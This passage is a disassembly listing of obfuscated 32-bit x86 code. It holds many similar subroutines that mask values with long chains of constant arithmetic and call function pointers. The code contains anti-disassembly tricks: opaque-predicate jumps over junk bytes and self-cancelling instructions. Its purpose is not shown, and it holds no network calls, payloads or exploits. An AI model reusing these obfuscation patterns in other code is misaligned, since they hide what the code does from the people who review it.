		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		sub	ebx, 1Ch
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		dec	ebx
		and	eax, ebx
		pop	ebx
		dec	esi
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B8
		xor	ecx, dword_4ED3BC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49567B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49567B:				; CODE XREF: sub_4955CD+A3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4955CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49568F	proc near		; DATA XREF: sub_4965D8+A31o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 2
		dec	bh
		dec	bh
		mov	edi, 80h
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 83h
		dec	edi
		sub	bl, 8
		dec	bl
		dec	edi
		dec	bl
		dec	edi
		dec	bl
		dec	bl
		dec	edi
		dec	bl
		dec	bl
		dec	edi
		and	edi, ebx
		dec	bl
		sub	bl, 7
		dec	edi
		sub	bl, 10h
		dec	edi
		dec	bl
		dec	edi
		sub	bl, 1Ch
		not	bx
		bswap	eax
		dec	edi
		not	bx
		bswap	eax
		dec	edi
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED408
		xor	ecx, dword_4ED40C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49572F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49572F:				; CODE XREF: sub_49568F+95j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49568F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495743	proc near		; DATA XREF: sub_4965D8+1284o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Ah
		pop	ebx
		dec	bl
		dec	bl
		dec	bl
		add	bl, 0FFh
		add	bl, 0FFh
		dec	bl
		jo	short loc_495784
		jl	short loc_495782


loc_49577D:				; CODE XREF: sub_495743:loc_495782j
					; sub_495743:loc_495784j
		jmp	short loc_495786
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_495782:				; CODE XREF: sub_495743+38j
		jz	short loc_49577D


loc_495784:				; CODE XREF: sub_495743+36j
		jmp	short loc_49577D
; ---------------------------------------------------------------------------


loc_495786:				; CODE XREF: sub_495743:loc_49577Dj
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		and	al, bl
		jo	short loc_49579D
		jl	short loc_49579B


loc_495798:				; CODE XREF: sub_495743:loc_49579Bj
					; sub_495743:loc_49579Dj
		jmp	short loc_49579F
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49579B:				; CODE XREF: sub_495743+53j
		jz	short loc_495798


loc_49579D:				; CODE XREF: sub_495743+51j
		jmp	short loc_495798
; ---------------------------------------------------------------------------


loc_49579F:				; CODE XREF: sub_495743:loc_495798j
		mov	dh, 15h
		and	dl, 0
		dec	dh
		sub	dh, 6
		dec	dh
		dec	dh
		dec	dh
		sub	dh, 1
		dec	dh
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_4957C6
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4957CC
; ---------------------------------------------------------------------------


loc_4957C6:				; CODE XREF: sub_495743+79j
		not	eax
		add	eax, 1
		clc


loc_4957CC:				; CODE XREF: sub_495743+81j
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4957DB
		jl	short loc_4957D9


loc_4957D4:				; CODE XREF: sub_495743:loc_4957D9j
					; sub_495743:loc_4957DBj
		jmp	short loc_4957DD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4957D9:				; CODE XREF: sub_495743+8Fj
		jz	short loc_4957D4


loc_4957DB:				; CODE XREF: sub_495743+8Dj
		jmp	short loc_4957D4
; ---------------------------------------------------------------------------


loc_4957DD:				; CODE XREF: sub_495743:loc_4957D4j
		inc	eax
		dec	eax
		jo	short loc_4957EA
		jl	short loc_4957E8


loc_4957E3:				; CODE XREF: sub_495743:loc_4957E8j
					; sub_495743:loc_4957EAj
		jmp	short loc_4957EC
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4957E8:				; CODE XREF: sub_495743+9Ej
		jz	short loc_4957E3


loc_4957EA:				; CODE XREF: sub_495743+9Cj
		jmp	short loc_4957E3
; ---------------------------------------------------------------------------


loc_4957EC:				; CODE XREF: sub_495743:loc_4957E3j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4957FB
		jl	short loc_4957F9


loc_4957F4:				; CODE XREF: sub_495743:loc_4957F9j
					; sub_495743:loc_4957FBj
		jmp	short loc_4957FD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4957F9:				; CODE XREF: sub_495743+AFj
		jz	short loc_4957F4


loc_4957FB:				; CODE XREF: sub_495743+ADj
		jmp	short loc_4957F4
; ---------------------------------------------------------------------------


loc_4957FD:				; CODE XREF: sub_495743:loc_4957F4j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495821
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495821:				; CODE XREF: sub_495743+D3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495835	proc near		; DATA XREF: sub_4965D8+377o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D88
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49585A
		jl	short loc_495858


loc_495855:				; CODE XREF: sub_495835:loc_495858j
					; sub_495835:loc_49585Aj
		jmp	short loc_49585C
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_495858:				; CODE XREF: sub_495835+1Ej
		jz	short loc_495855


loc_49585A:				; CODE XREF: sub_495835+1Cj
		jmp	short loc_495855
; ---------------------------------------------------------------------------


loc_49585C:				; CODE XREF: sub_495835:loc_495855j
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 10h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 5
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_4958AD
		jl	short loc_4958AB


loc_4958A8:				; CODE XREF: sub_495835:loc_4958ABj
					; sub_495835:loc_4958ADj
		jmp	short loc_4958AF
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4958AB:				; CODE XREF: sub_495835+71j
		jz	short loc_4958A8


loc_4958AD:				; CODE XREF: sub_495835+6Fj
		jmp	short loc_4958A8
; ---------------------------------------------------------------------------


loc_4958AF:				; CODE XREF: sub_495835:loc_4958A8j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B8
		xor	ecx, dword_4ED3BC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495908
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495908:				; CODE XREF: sub_495835+C8j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49591C	proc near		; DATA XREF: sub_4965D8+7E4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1F00h
		pop	ebx
		jo	short loc_495952
		jl	short loc_495950


loc_49594B:				; CODE XREF: sub_49591C:loc_495950j
					; sub_49591C:loc_495952j
		jmp	short loc_495954
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_495950:				; CODE XREF: sub_49591C+2Dj
		jz	short loc_49594B


loc_495952:				; CODE XREF: sub_49591C+2Bj
		jmp	short loc_49594B
; ---------------------------------------------------------------------------


loc_495954:				; CODE XREF: sub_49591C:loc_49594Bj
		sub	bh, 5
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 12h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 15h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 7
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4959B4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4959B4:				; CODE XREF: sub_49591C+8Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49591C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4959C8	proc near		; DATA XREF: sub_4965D8+9D7o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495A5F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495A5F:				; CODE XREF: sub_4959C8+8Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4959C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495A73	proc near		; DATA XREF: sub_4965D8+608o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		jmp	short loc_495AD2
; ---------------------------------------------------------------------------
		and	eax, 1


loc_495AD2:				; CODE XREF: sub_495A73+5Aj
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 3
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495B35
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495B35:				; CODE XREF: sub_495A73+B7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495B49	proc near		; DATA XREF: sub_4965D8+15E1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_495B72
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_495B72:				; CODE XREF: sub_495B49+22j
		mov	ebx, 32h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		and	eax, 0
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED404
		xor	ecx, dword_4ED408
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495BB7
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495BB7:				; CODE XREF: sub_495B49+63j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495B49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495BCB	proc near		; DATA XREF: sub_4965D8+3E8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_495C33
		jl	short loc_495C31


loc_495C2E:				; CODE XREF: sub_495BCB:loc_495C31j
					; sub_495BCB:loc_495C33j
		jmp	short loc_495C35
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_495C31:				; CODE XREF: sub_495BCB+61j
		jz	short loc_495C2E


loc_495C33:				; CODE XREF: sub_495BCB+5Fj
		jmp	short loc_495C2E
; ---------------------------------------------------------------------------


loc_495C35:				; CODE XREF: sub_495BCB:loc_495C2Ej
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_495D13
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_495CFD
		not	eax
		add	eax, 1
		stc
		jmp	short loc_495D03
; ---------------------------------------------------------------------------


loc_495CFD:				; CODE XREF: sub_495BCB+128j
		not	eax
		add	eax, 1
		clc


loc_495D03:				; CODE XREF: sub_495BCB+130j
		sbb	eax, eax
		add	eax, 1
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_495D13
		and	eax, 0
		inc	eax
		jmp	short loc_495D16
; ---------------------------------------------------------------------------


loc_495D13:				; CODE XREF: sub_495BCB+9Bj
					; sub_495BCB+140j
		and	eax, 0


loc_495D16:				; CODE XREF: sub_495BCB+146j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495D39
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495D39:				; CODE XREF: sub_495BCB+163j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495BCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495D4D	proc near		; DATA XREF: sub_4965D8+1091o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		inc	ebx
		inc	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 10h
		dec	ch
		dec	ch
		sub	ch, 14h
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jz	short loc_495D95
		dec	edi
		and	eax, 0
		jmp	short loc_495D9C
; ---------------------------------------------------------------------------


loc_495D95:				; CODE XREF: sub_495D4D+40j
		dec	edi
		and	eax, 0
		dec	edi
		dec	edi
		inc	eax


loc_495D9C:				; CODE XREF: sub_495D4D+46j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED404
		xor	eax, dword_4ED408
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_495DBE
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_495DBE:				; CODE XREF: sub_495D4D+66j
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495D4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495DD2	proc near		; DATA XREF: sub_4965D8+F98o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_495E3A
		jl	short loc_495E38


loc_495E35:				; CODE XREF: sub_495DD2:loc_495E38j
					; sub_495DD2:loc_495E3Aj
		jmp	short loc_495E3C
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_495E38:				; CODE XREF: sub_495DD2+61j
		jz	short loc_495E35


loc_495E3A:				; CODE XREF: sub_495DD2+5Fj
		jmp	short loc_495E35
; ---------------------------------------------------------------------------


loc_495E3C:				; CODE XREF: sub_495DD2:loc_495E35j
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_495F19
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_495F04
		not	eax
		add	eax, 1
		stc
		jmp	short loc_495F0A
; ---------------------------------------------------------------------------


loc_495F04:				; CODE XREF: sub_495DD2+128j
		not	eax
		add	eax, 1
		clc


loc_495F0A:				; CODE XREF: sub_495DD2+130j
		sbb	eax, eax
		add	eax, 1
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_495F19
		and	eax, 0
		jmp	short loc_495F1D
; ---------------------------------------------------------------------------


loc_495F19:				; CODE XREF: sub_495DD2+9Bj
					; sub_495DD2+140j
		and	eax, 0
		inc	eax


loc_495F1D:				; CODE XREF: sub_495DD2+145j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495F40
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495F40:				; CODE XREF: sub_495DD2+163j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495F54	proc near		; DATA XREF: sub_4965D8+250o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AFh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 5
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 12h
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 13h
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E8
		xor	ecx, dword_4ED3EC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_496019
		mov	edx, [ebp+var_8]
